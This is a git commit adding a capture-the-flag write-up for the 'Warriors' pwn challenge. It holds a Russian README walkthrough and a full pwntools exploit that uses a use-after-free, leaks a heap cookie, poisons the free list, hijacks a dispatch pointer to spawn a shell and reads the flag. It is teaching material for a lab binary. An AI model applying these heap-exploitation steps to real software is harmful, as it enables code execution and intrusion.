Init. commit
This commit is contained in:
30
Warriors-Pwn/README.md
Normal file
30
Warriors-Pwn/README.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Warriors
|
||||
|
||||
Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг?
|
||||
|
||||
## Решение
|
||||
|
||||
1. Открываем бинарь в **IDA/Ghidra** и разбираем команды меню: `spawn`, `sacrifice`, `scout`, `rewind`, `rename`, `invoke_core`.
|
||||
2. Понимаем модель памяти: `Warrior` хранится в куче, а слоты в таблице держат указатели на эти чанки.
|
||||
3. Находим уязвимую связку `sacrifice` + `rewind(1)`: после отката в таблице остаётся указатель на уже освобождённый чанк (UAF).
|
||||
4. Через `scout(slot, -8, 8)` снимаем `encrypted_next` у освобождённого чанка и получаем `heap_cookie`, нужный для корректного `next`.
|
||||
5. Используем `rename(slot, -16, blob)`, чтобы писать перед `name` и подделать заголовок чанка:
|
||||
- `checksum = crc32(name)` (4 байта),
|
||||
- `pad` (4 байта),
|
||||
- `encrypted_next = target ^ cookie` (8 байт),
|
||||
- `name` (64 байта).
|
||||
6. В качестве `target` выбираем `g_bridge` и отравляем free-list через UAF-объект.
|
||||
7. Делаем два `spawn`: первый снимает обычный элемент из списка, второй даёт контролируемую аллокацию в целевой адрес.
|
||||
8. Перезаписываем `dispatch` в `g_bridge` адресом `summon_oracle` (например, `b"A"*24 + p64(summon_oracle)`).
|
||||
9. Вызываем `invoke_core()` и получаем выполнение `summon_oracle`, после чего появился shell.
|
||||
10. В shell читаем флаг:
|
||||
|
||||
```bash
|
||||
cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt
|
||||
```
|
||||
|
||||
Полный PoC: [exploit.py](exploit.py)
|
||||
|
||||
```bash
|
||||
python3 exploit.py
|
||||
```
|
||||
146
Warriors-Pwn/exploit.py
Normal file
146
Warriors-Pwn/exploit.py
Normal file
@@ -0,0 +1,146 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import os
|
||||
import re
|
||||
import zlib
|
||||
|
||||
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
|
||||
BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN
|
||||
|
||||
context.binary = ELF(BINARY_PATH, checksec=False)
|
||||
context.terminal = ["tmux", "splitw", "-h"]
|
||||
|
||||
LEAKED_COOKIE = None
|
||||
|
||||
|
||||
def forge_warrior(data, next_ptr):
|
||||
"""
|
||||
Build raw bytes for overwrite at (name-16) region:
|
||||
[checksum|pad|encrypted_next|name(64)]
|
||||
"""
|
||||
global LEAKED_COOKIE
|
||||
if LEAKED_COOKIE is None:
|
||||
raise ValueError("Cookie is not leaked yet")
|
||||
|
||||
name = data.ljust(64, b"\x00")[:64]
|
||||
checksum = zlib.crc32(name) & 0xFFFFFFFF
|
||||
encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
return p32(checksum) + p32(0) + p64(encrypted_next) + name
|
||||
|
||||
|
||||
def start():
|
||||
if args.REMOTE:
|
||||
host = args.HOST if args.HOST else "127.0.0.1"
|
||||
port = int(args.PORT) if args.PORT else 1337
|
||||
return remote(host, port)
|
||||
|
||||
if args.GDB:
|
||||
return gdb.debug([BINARY_PATH], gdbscript="continue")
|
||||
|
||||
return process([BINARY_PATH])
|
||||
|
||||
|
||||
class GameInteraction:
|
||||
def __init__(self, tube):
|
||||
self.io = tube
|
||||
|
||||
def _choose(self, idx):
|
||||
self.io.sendlineafter(b"Chronos> ", str(idx).encode())
|
||||
|
||||
def spawn(self, name):
|
||||
self._choose(1)
|
||||
self.io.sendlineafter(b"Warrior name: ", name)
|
||||
line = self.io.recvline().decode(errors="ignore").strip()
|
||||
m = re.search(r"Slot\s+(\d+)\s+awakened", line)
|
||||
if not m:
|
||||
raise RuntimeError(f"Unexpected spawn output: {line}")
|
||||
return int(m.group(1))
|
||||
|
||||
def sacrifice(self, slot):
|
||||
self._choose(2)
|
||||
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
|
||||
self.io.recvline()
|
||||
|
||||
def rename(self, slot, shift, blob):
|
||||
self._choose(5)
|
||||
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
|
||||
self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
|
||||
self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
|
||||
self.io.sendafter(b"Raw inscription bytes: ", blob)
|
||||
self.io.send(b"\n")
|
||||
self.io.recvline()
|
||||
|
||||
def scout(self, slot, shift, length):
|
||||
self._choose(3)
|
||||
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
|
||||
self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
|
||||
self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())
|
||||
|
||||
self.io.recvuntil(b"Vision: ")
|
||||
hex_line = self.io.recvline().strip().decode()
|
||||
leaked = bytes.fromhex(hex_line)
|
||||
return leaked
|
||||
|
||||
def rewind(self, anchor):
|
||||
self._choose(4)
|
||||
self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
|
||||
self.io.recvline()
|
||||
|
||||
def invoke_core(self):
|
||||
self._choose(6)
|
||||
|
||||
|
||||
def main():
|
||||
global LEAKED_COOKIE
|
||||
|
||||
elf = context.binary
|
||||
io = start()
|
||||
game = GameInteraction(io)
|
||||
|
||||
target = elf.symbols["g_bridge"]
|
||||
oracle = elf.symbols["summon_oracle"]
|
||||
|
||||
log.info("Stage 1: create free chunk and resurrect it via rewind")
|
||||
s0 = game.spawn(b"alpha")
|
||||
log.info(f"spawned slot={s0}")
|
||||
|
||||
game.sacrifice(s0)
|
||||
|
||||
game.rewind(1)
|
||||
|
||||
log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
|
||||
leak = game.scout(s0, -8, 8)
|
||||
LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
|
||||
log.success(f"cookie = {hex(LEAKED_COOKIE)}")
|
||||
|
||||
log.info("Stage 3: forge warrior header and poison free list")
|
||||
forged = forge_warrior(b"time-smith", target)
|
||||
game.rename(s0, -16, forged)
|
||||
|
||||
s1 = game.spawn(b"reclaim-1")
|
||||
log.info(f"reclaim spawn slot={s1}")
|
||||
|
||||
s2 = game.spawn(b"bridge")
|
||||
log.info(f"poisoned spawn slot={s2}")
|
||||
|
||||
log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
|
||||
payload = b"A" * 24 + p64(oracle)
|
||||
game.rename(s2, 0, payload)
|
||||
|
||||
log.info("Stage 5: invoke dispatch and get shell")
|
||||
game.invoke_core()
|
||||
|
||||
if args.INTERACTIVE:
|
||||
io.interactive()
|
||||
return
|
||||
|
||||
io.sendline(b"id")
|
||||
io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
|
||||
io.sendline(b"exit")
|
||||
print(io.recvrepeat(1.0).decode(errors="ignore"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user